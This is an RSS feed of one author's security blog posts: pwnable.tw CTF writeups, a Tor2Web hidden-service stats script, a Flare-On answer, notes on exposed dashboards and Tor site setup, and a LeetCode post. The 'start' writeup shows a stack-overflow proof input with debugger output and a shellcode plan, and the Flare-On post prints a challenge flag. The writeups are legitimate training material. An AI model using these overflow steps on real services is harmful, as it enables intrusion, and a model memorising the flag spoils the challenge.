            <title><![CDATA[pwnable.tw orw Writeup]]></title>
            <link>https://medium.com/yuru-sec/pwnable-tw-orw-writeup-6f382ed23e90?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f382ed23e90</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Sat, 31 Aug 2019 03:58:29 GMT</pubDate>
            <atom:updated>2019-08-31T03:58:29.591Z</atom:updated>
            <content:encoded><![CDATA[<p>CTF writeup</p><h3>Problem</h3><p><a href="https://pwnable.tw/challenge/#2">https://pwnable.tw/challenge/#2</a></p><blockquote><em>Read the flag from /home/orw/flag.<br>Only open read write syscall are allowed to use.</em></blockquote><h3>Environment</h3><pre>$ uname -a<br>Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux</pre><h3>Findings</h3><p>This file is 32bit ELF file.</p><pre>$ file ./orw <br>./orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped</pre><p>Disassemble result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zeSFcVk8RB9s8kZ5.png" /></figure><p>This file read shellcode and execute it, but since seccomp is used, system calls other than open, read, and write cannot be used.<br>So we need write shellcode that only used open, read, and write.</p><h3>Writeup</h3><p>I wrote shellcode that only used open, read, write syscalls.<br>(Reffer: <a href="https://syscalls.kernelgrok.com/">https://syscalls.kernelgrok.com/</a> )</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6fa31e7b7bbe35091b3e8a9582fafe00/href">https://medium.com/media/6fa31e7b7bbe35091b3e8a9582fafe00/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f382ed23e90" width="1" height="1" alt=""><hr><p><a href="https://medium.com/yuru-sec/pwnable-tw-orw-writeup-6f382ed23e90">pwnable.tw orw Writeup</a> was originally published in <a href="https://medium.com/yuru-sec">YURU-SEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[pwnable.tw start writeup]]></title>
            <link>https://medium.com/yuru-sec/pwnable-tw-start-writeup-470acb6e353a?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/470acb6e353a</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[binary]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Thu, 29 Aug 2019 11:01:24 GMT</pubDate>
            <atom:updated>2019-08-29T11:01:24.741Z</atom:updated>
            <content:encoded><![CDATA[<p>CTF Writeup</p><p>Problem: <a href="https://pwnable.tw/challenge/#1">https://pwnable.tw/challenge/#1</a></p><h3>Environment</h3><pre>$ uname -a<br>Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux</pre><pre>$ gdb --version<br>GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1<br>Copyright (C) 2016 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;<br>and &quot;show warranty&quot; for details.<br>This GDB was configured as &quot;x86_64-linux-gnu&quot;.<br>Type &quot;show configuration&quot; for configuration details.<br>For bug reporting instructions, please see:<br>&lt;http://www.gnu.org/software/gdb/bugs/&gt;.<br>Find the GDB manual and other documentation resources online at:<br>&lt;http://www.gnu.org/software/gdb/documentation/&gt;.<br>For help, type &quot;help&quot;.<br>Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;.</pre><h3>Finding</h3><p>Executed file command.<br>This file is ELF file for 32bit.</p><pre>$ file start<br>start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped</pre><p>Extected strace command.<br>This file get 60 bytes input with read systemcall.</p><pre>$ strace ./start <br>execve(&quot;./start&quot;, [&quot;./start&quot;], [/* 19 vars */]) = 0<br>strace: [ Process PID=629 runs in 32 bit mode. ]<br>write(1, &quot;Let&#39;s start the CTF:&quot;, 20Let&#39;s start the CTF:)    = 20<br>read(0, AAAA<br>&quot;AAAA\n&quot;, 60)                   = 5<br>exit(0)                                 = ?<br>+++ exited with 0 +++</pre><p>Disassemble with objdump.</p><pre>$ objdump -M intel -d ./start </pre><pre>./start:     file format elf32-i386<br></pre><pre>Disassembly of section .text:</pre><pre>08048060 &lt;_start&gt;:<br> 8048060:       54                      push   esp<br> 8048061:       68 9d 80 04 08          push   0x804809d<br> 8048066:       31 c0                   xor    eax,eax<br> 8048068:       31 db                   xor    ebx,ebx<br> 804806a:       31 c9                   xor    ecx,ecx<br> 804806c:       31 d2                   xor    edx,edx<br> 804806e:       68 43 54 46 3a          push   0x3a465443<br> 8048073:       68 74 68 65 20          push   0x20656874<br> 8048078:       68 61 72 74 20          push   0x20747261<br> 804807d:       68 73 20 73 74          push   0x74732073<br> 8048082:       68 4c 65 74 27          push   0x2774654c<br> 8048087:       89 e1                   mov    ecx,esp<br> 8048089:       b2 14                   mov    dl,0x14<br> 804808b:       b3 01                   mov    bl,0x1<br> 804808d:       b0 04                   mov    al,0x4<br> 804808f:       cd 80                   int    0x80<br> 8048091:       31 db                   xor    ebx,ebx<br> 8048093:       b2 3c                   mov    dl,0x3c<br> 8048095:       b0 03                   mov    al,0x3<br> 8048097:       cd 80                   int    0x80<br> 8048099:       83 c4 14                add    esp,0x14<br> 804809c:       c3                      ret    </pre><pre>0804809d &lt;_exit&gt;:<br> 804809d:       5c                      pop    esp<br> 804809e:       31 c0                   xor    eax,eax<br> 80480a0:       40                      inc    eax<br> 80480a1:       cd 80                   int    0x80</pre><p>This file take the following behavior.</p><ol><li>Initialize to 0 value on eax, ebx, ecx and edx.</li><li>Push 20 bytes value onto the stack(This value is “Let’s start the CTF:”)</li><li>Call write systemcall(al=0x4) and output character string of step 2</li><li>Call read systemcall(al=0x3) and receive 60 bytes input</li><li>Add 20 bytes of address in esp</li><li>Call ret instruction, and eip will be “0x804809d”(_exit function address)</li><li>Call _exit function</li></ol><p>I can execute code with 0x14 bytes + “Address”.<br>Try it with gdb.</p><pre>$ python -c &#39;print(&quot;A&quot;*0x14 + &quot;BBBB&quot;)&#39;<br>AAAAAAAAAAAAAAAAAAAABBBB<br> gdb -q ./start<br>pwndbg: loaded 164 commands. Type pwndbg [filter] for a list.<br>pwndbg: created $rebase, $ida gdb functions (can be used with print/break)<br>Reading symbols from ./start...(no debugging symbols found)...done.<br>pwndbg&gt; r<br>Starting program: /home/vagrant/work/tw/start/start <br>Let&#39;s start the CTF:AAAAAAAAAAAAAAAAAAAABBBB</pre><pre>Program received signal SIGSEGV, Segmentation fault.<br>0x42424242 in ?? ()<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────<br>*EAX  0x19<br> EBX  0x0<br>*ECX  0xffffd6e4 ◂— 0x41414141 (&#39;AAAA&#39;)<br>*EDX  0x3c<br> EDI  0x0<br> ESI  0x0<br> EBP  0x0<br>*ESP  0xffffd6fc —▸ 0xffffd70a ◂— 0xd84e0000<br>*EIP  0x42424242 (&#39;BBBB&#39;)<br>─────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────<br>Invalid address 0x42424242<br></pre><pre>──────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────<br>00:0000│ esp  0xffffd6fc —▸ 0xffffd70a ◂— 0xd84e0000<br>01:0004│      0xffffd700 ◂— 0x1<br>02:0008│      0xffffd704 —▸ 0xffffd82c ◂— 0x6d6f682f (&#39;/hom&#39;)<br>03:000c│      0xffffd708 ◂— 0x0<br>04:0010│      0xffffd70c —▸ 0xffffd84e ◂— 0x4c454853 (&#39;SHEL&#39;)<br>05:0014│      0xffffd710 —▸ 0xffffd85e ◂— 0x4d524554 (&#39;TERM&#39;)<br>06:0018│      0xffffd714 —▸ 0xffffd872 ◂— 0x5f485353 (&#39;SSH_&#39;)<br>07:001c│      0xffffd718 —▸ 0xffffd88f ◂— 0x5f485353 (&#39;SSH_&#39;)<br>────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────<br> ► f 0 42424242<br>Program received signal SIGSEGV (fault address 0x42424242)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/64/0*75gt9g_Cna1TJXSW.png" /></figure><p>Next step, I checked security settings on this binary.</p><pre>pwndbg&gt; checksec<br>[*] &#39;/home/vagrant/work/tw/start/start&#39;<br>    Arch:     i386-32-little<br>    RELRO:    No RELRO<br>    Stack:    No canary found<br>    NX:       NX disabled<br>    PIE:      No PIE (0x8048000)</pre><p>wow… NX bit is desabled.<br>Okay, We can exec code on stack.</p><h3>Writeup</h3><ol><li>Launch ./start</li><li>Overflow and output esp address with “0x8048087”(mov ecx,esp)</li><li>Add 0x14 + shellcode</li><li>Execute shellcode</li></ol><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/95eea3e4f34b24c5bfa87c7b3917018c/href">https://medium.com/media/95eea3e4f34b24c5bfa87c7b3917018c/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=470acb6e353a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/yuru-sec/pwnable-tw-start-writeup-470acb6e353a">pwnable.tw start writeup</a> was originally published in <a href="https://medium.com/yuru-sec">YURU-SEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[List up populer Tor hidden service with Tor2Web]]></title>
            <link>https://medium.com/yuru-sec/list-up-populer-tor-hidden-service-with-tor2web-1d5e95c43d1a?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d5e95c43d1a</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[tor]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Wed, 08 May 2019 13:14:34 GMT</pubDate>
            <atom:updated>2019-05-08T13:14:34.940Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*SNqi2noDQzEYZFPQdwDE8w.png" /><figcaption><a href="https://github.com/globaleaks/Tor2web/blob/master/data/static/tor2web.png">https://github.com/globaleaks/Tor2web/blob/master/data/static/tor2web.png</a></figcaption></figure><p><strong>TL;DR: </strong>Access to https://tor2web.tld/antanistaticmap/stats/yesterday, you can collect Tor Hidden services URLs that has tor2web users accessed.</p><p>There is a thing called Tor Hidden Service that can publish service anonymously.</p><p>I have written an article in <a href="https://medium.com/gyoza-x/tor-hidden-service-%E3%81%A7%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%97%E3%81%A6%E3%81%BF%E3%82%8B-5eab0d968d10">Japanese</a> about how to publish Tor Hidden Service.</p><p>The Tor Hidden Service can not be accessed from a clear network, but can easily be accessed using a proxy called Tor2Web.<br><a href="https://github.com/globaleaks/Tor2web">Tor2Web</a></p><p>The famous Tor2web example:</p><ul><li><a href="https://tor2web.io/"><strong>https://tor2web.io/</strong></a></li><li><a href="https://onion.to/"><strong>https://onion.to</strong></a></li></ul><p>Tor2web records how much access has been made to which Tor Hidden Service and publishes it.<br><a href="https://github.com/globaleaks/Tor2web/wiki/OpenData">Source</a><br>This record can be easily obtained by sending an HTTP Get request to <em>“Tor2web’s domain” + “/antanistaticmap/stats/yesterday”</em>.</p><p>The following code gets the data and lists it in order of the number of accesses to Tor Hidden Service.</p><pre>import urllib.request<br>import json<br>import sys<br>import ssl</pre><pre>ssl._create_default_https_context = ssl._create_unverified_context</pre><pre># arg e.g. https://tor2web.io/ https://onion.to</pre><pre>TOR2WEB_DATA_URL = &#39;/antanistaticmap/stats/yesterday&#39;</pre><pre>req = urllib.request.Request(sys.argv[1] + TOR2WEB_DATA_URL)<br>with urllib.request.urlopen(req) as res:<br>    body = json.loads(res.read().decode(&#39;utf-8&#39;))</pre><pre>services = body[&#39;hidden_services&#39;]<br>services.sort(key=lambda x: x[&#39;access_count&#39;])<br>services.reverse()<br>for service in services:<br>    print(&quot;URL: {}.onion , Count: {}&quot;.format(service[&#39;id&#39;], service[&#39;access_count&#39;]))</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d5e95c43d1a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/yuru-sec/list-up-populer-tor-hidden-service-with-tor2web-1d5e95c43d1a">List up populer Tor hidden service with Tor2Web</a> was originally published in <a href="https://medium.com/yuru-sec">YURU-SEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LeetCode TwoSum をテストしながら解く]]></title>
            <link>https://medium.com/@FAMASoon/leetcode-twosum-%E3%82%92%E3%83%86%E3%82%B9%E3%83%88%E3%81%97%E3%81%AA%E3%81%8C%E3%82%89%E8%A7%A3%E3%81%8F-c09742fc17e9?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/c09742fc17e9</guid>
            <category><![CDATA[leetcode]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Sat, 20 Apr 2019 09:24:19 GMT</pubDate>
            <atom:updated>2019-04-20T09:37:38.098Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*DENauUixUf2DS-VfgKCXlA.png" /></figure><p><a href="https://leetcode.com/">LeetCode</a>という競技プログラミングサービスがある。 まだ始めたばかりなのだがとっつきやすい作りになっていて良い。 そんなLeetCodeの問題 <strong>TwoSum</strong> を解いてみた。 ただ解いてみたというのも面白くないので今回はテストコードも書きながら解答してみる。</p><h3>TwoSum</h3><p>問題はへのリンク <a href="https://leetcode.com/problems/two-sum/">https://leetcode.com/problems/two-sum/</a>。 問いは下記の通り。</p><blockquote><em>数値の入った配列と整数値</em><em>targetが与えられるので、配列の中から足すと</em><em>targetになる値の組み合わせを見つけ、その要素がどこにあるかを答えよ。 必ず答えは存在するものとする。 また別々の位置の値を必ず使用する事</em></blockquote><p>以下に例を書く</p><blockquote><em>Given nums = [2, 7, 11, 15], target = 9,</em></blockquote><blockquote><em>Because nums[0] + nums[1] = 2 + 7 = 9, return [0, 1].</em></blockquote><h3>テストコードを書く</h3><p>コードを弄ってブラウザ上でテストしても問題はないが遅い。 なので今回は手元ですぐに動作するテストコードを書いた。</p><p><a href="https://gist.github.com/famasoon/478e41557a16b78ae6588c8c1e42cde7#file-twosum_test-go">https://gist.github.com/famasoon/478e41557a16b78ae6588c8c1e42cde7#file-twosum_test-go</a></p><pre>$GOPATH/src/leetcode/twosum/か何か適当なディレクトリでこれを書きgo test ./twosums/と入力すればお手軽テスト環境の完成。</pre><p>あとはこのテストを通るような解答を考える。</p><h3>解答</h3><p>いくつか解法がある。 2つループを書いて総当たりする方法なんかは簡単だが、渡されるスライスが大きくなればなるほど時間計算量が増える。 今回は一旦ハッシュテーブルを作成してその中から値の組み合わせを見つける解法で解いた。</p><p><a href="https://gist.github.com/famasoon/dcd2ff40c247fa5beef816d1c7e79a1b#file-twosum-go">https://gist.github.com/famasoon/dcd2ff40c247fa5beef816d1c7e79a1b#file-twosum-go</a></p><ol><li>数値とその位置をハッシュテーブル化</li><li>targetからスライスから取り出した数値を引き、足してtargetになる数値を取り出す</li><li>ハッシュテーブルを確認し、足してtargetになる値があればその位置を返す</li><li>見つけるまで1–3を繰り返す</li></ol><h3>終わりに</h3><p>Goのtest機能、楽に使えて良いですね。 まだLeetCode始めたばかりなのでもっと問題を解いていこうと思います。</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c09742fc17e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Flareon 5 Challenge 1 writeup]]></title>
            <link>https://medium.com/@FAMASoon/flareon-5-challenge-1-writeup-1a0cbc892328?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a0cbc892328</guid>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Sat, 03 Nov 2018 12:33:02 GMT</pubDate>
            <atom:updated>2018-11-03T12:33:02.600Z</atom:updated>
            <content:encoded><![CDATA[<p>Level 1 of FlareOn 5 was a Java application crackme challenge.<br>It is a dialog when launched.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*oxr3uuyKOjxcz0Ln5KZrTg.png" /></figure><p>I entered “aaaa” into dialog.<br>This is presented that is incorrect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*5cTmmHE0grqQ2JC2I1wJQw.png" /></figure><p>Okay, it is Java application.<br>So, I decompiled it with JD-GUI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*r4cuKOljhoKcp2yd0XQgng.png" /></figure><p>Looks like invitation code was hardcoding.<br>I entered that code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*K8jmgEahSvSoy9xKOiNJxQ.png" /></figure><p>Flag: <a href="/service/mailto:GoldenTicket2018@flare-on.com">GoldenTicket2018@flare-on.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a0cbc892328" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[あなたのダッシュボードは安全ですか？]]></title>
            <link>https://medium.com/@FAMASoon/%E3%81%82%E3%81%AA%E3%81%9F%E3%81%AE%E3%83%80%E3%83%83%E3%82%B7%E3%83%A5%E3%83%9C%E3%83%BC%E3%83%89%E3%81%AF%E5%AE%89%E5%85%A8%E3%81%A7%E3%81%99%E3%81%8B-a50fe1335cf0?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/a50fe1335cf0</guid>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Sat, 20 Jan 2018 22:39:47 GMT</pubDate>
            <atom:updated>2018-01-20T22:39:47.326Z</atom:updated>
            <content:encoded><![CDATA[<p>ちょっと面白いことを見つけたので忘れる前に書き留めておこうと思います。<br>本稿は読者のセキュリティを高める目的で書いています。本稿の内容で得た情報を用い自身の管理下にないネットワークやコンピュータへアクセスした場合、不正アクセス行為と判断され、法的措置を取られる可能性があります。同内容の調査を行い被ったいかなる被害についても、 投稿者は一切の責任を負いかねます。</p><h3>最近流行りの技術</h3><p>最近流行りの技術としてコンテナや機械学習の名前を一度は聞いたことがあると思います。<br>これらに関連したソフトウェアとして”kubernetes”と”tensorflow”が存在します。<br>また、これらの可視化ツールとしてダッシュボード(“tensorflow”では”tensorboard”)が存在しています</p><h3>ダッシュボードが見える問題</h3><p>shodanやzoomeyeでダッシュボードの名前を検索すると、いくつか未認証で中身を見ることができるホストが見つかりました。<br>怒られが発生するかもしれないのでURLは載せません。<br>見た所テストっぽいものが多かったですが、研究で何かの開発をしている際に外部からダッシュボードにアクセスされると情報が盗まれる可能性があります。<br>ダッシュボードを使っている方は今一度、それが安全かどうか確かめて使用してみてくださいね。<br>以上、おわり</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a50fe1335cf0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tor Hidden Service でウェブサイトを公開してみる]]></title>
            <link>https://medium.com/gyoza-x/tor-hidden-service-%E3%81%A7%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%97%E3%81%A6%E3%81%BF%E3%82%8B-5eab0d968d10?source=rss-d9138f95f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/5eab0d968d10</guid>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[FAMASoon]]></dc:creator>
            <pubDate>Thu, 23 Nov 2017 11:05:34 GMT</pubDate>
            <atom:updated>2017-11-23T11:09:13.927Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4WvTXtpCUkSdOeCq7rE6wQ.png" /></figure><h3>まえがき</h3><p><a href="http://sh1ttykids.hateblo.jp/entry/2017/11/19/110026">ダークウェブについて</a><br>という記事を読んだ。<br>内容はダークウェブ、主にTor Hidden Service(以下 “HS”)に的を絞って解説しているものだ。<br>HSについては先の記事でも書かれているようにTor Bundle Browserを用いれば簡単にアクセスが可能。<br>有名なHSは<a href="https://facebookcorewwwi.onion/">Facebook</a>や<a href="https://www.nytimes3xbfgragh.onion/">The New York Times</a>が挙げられる。<br>さて、そんなHSだがアクセスするだけでなくサイトの開設も簡単だったりする。<br>自分でサーバをたててサイトを開いたことがあれば誰でもできるような内容だ。<br>早速やってみるとしよう。</p><h3>環境</h3><pre>$ uname -a<br>Linux instance-2 4.10.0-40-generic #44~16.04.1-Ubuntu SMP Thu Nov 9 15:37:44 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux<br>$ lsb_release -a<br>No LSB modules are available.<br>Distributor ID: Ubuntu<br>Description:    Ubuntu 16.04.3 LTS<br>Release:        16.04<br>Codename:       xenial</pre><h3>Tor のセッティング</h3><p>何はともあれ Tor をインストールしなければ始まらない。<br>Ubuntu 16.04 では apt で簡単にインストールできる。</p><pre>$ sudo apt install tor<br>$ sudo systemctl start tor</pre><p>Tor 公式ドキュメントである<br><a href="https://www.torproject.org/docs/tor-onion-service">https://www.torproject.org/docs/tor-onion-service</a><br>を読めばわかるがtorrcの設定を変更しHSのアドレスとソレに対応した秘密鍵を生成する。<br>torrcは”/etc/tor/torrc”にあると思う。<br>生成されたファイルは”HiddenServiceDir”に書かれているディレクトリに吐かれる。<br>“HiddenServicePort”には接続したいポートを書けば良い。<br>リバースプロキシとかポートフォワーディングとか想像すればわかりやすいと思う。<br>“HiddenServiceDir”, “HiddenServicePort”ともにコメントアウトされていると思うので、それらを参考に書くと良いだろう。<br>これで生成されたHSのアドレスを確認できる。<br>(ディレクトリは”HiddenServiceDir”で設定したものを指定する)</p><pre>$ sudo cat /var/lib/tor/hidden_service/hostname<br>bdenpuomrxulax2d.onion</pre><h3>nginx のセッティング</h3><p>アドレスや鍵を生成してもwebサーバが稼働していないので当然ながらアクセスできない。<br>ここではnginxを利用してアクセス可能な状態までもっていく。<br>まずはnginxのインストール。</p><pre>$ sudo apt install nginx</pre><p>サイトのファイルを作成し、nginxから読み取れるようにパーミッションを変更。</p><pre>$ sudo mkdir /var/www/onion/<br>$ echo &quot;Hello Onion :)&quot; | sudo tee /var/www/onion/index.html<br>Hello Onion :)<br>$ sudo chown -R www-data:www-data /var/www/onion/</pre><p>次にnginxを設定する。<br>今回は”/etc/nginx/conf.d/onion.conf”にHSの設定を書く。<br>(server_nameは各自置き換えること)</p><pre>server {<br>    server_name bdenpuomrxulax2d.onion;<br>    root /var/www/onion/;<br>}</pre><p>そしてnginxを再起動</p><pre>$ sudo systemctl restart nginx</pre><h3>実際に開いてみる</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/0*vgMsfUz3LKzJRwur.png" /></figure><p>できた。<br>ちなみにこのやり方だとホストを指定しなければHS用のwebサイトが表示されない。<br>つまりShodanやCensysのようなIPアドレスを指定するタイプのスキャナーではHSの情報がリークしない。</p><h3>おわりに</h3><p>という訳でHSを開設した。</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5eab0d968d10" width="1" height="1" alt=""><hr><p><a href="https://medium.com/gyoza-x/tor-hidden-service-%E3%81%A7%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%97%E3%81%A6%E3%81%BF%E3%82%8B-5eab0d968d10">Tor Hidden Service でウェブサイトを公開してみる</a> was originally published in <a href="https://medium.com/gyoza-x">Gyoza-X</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>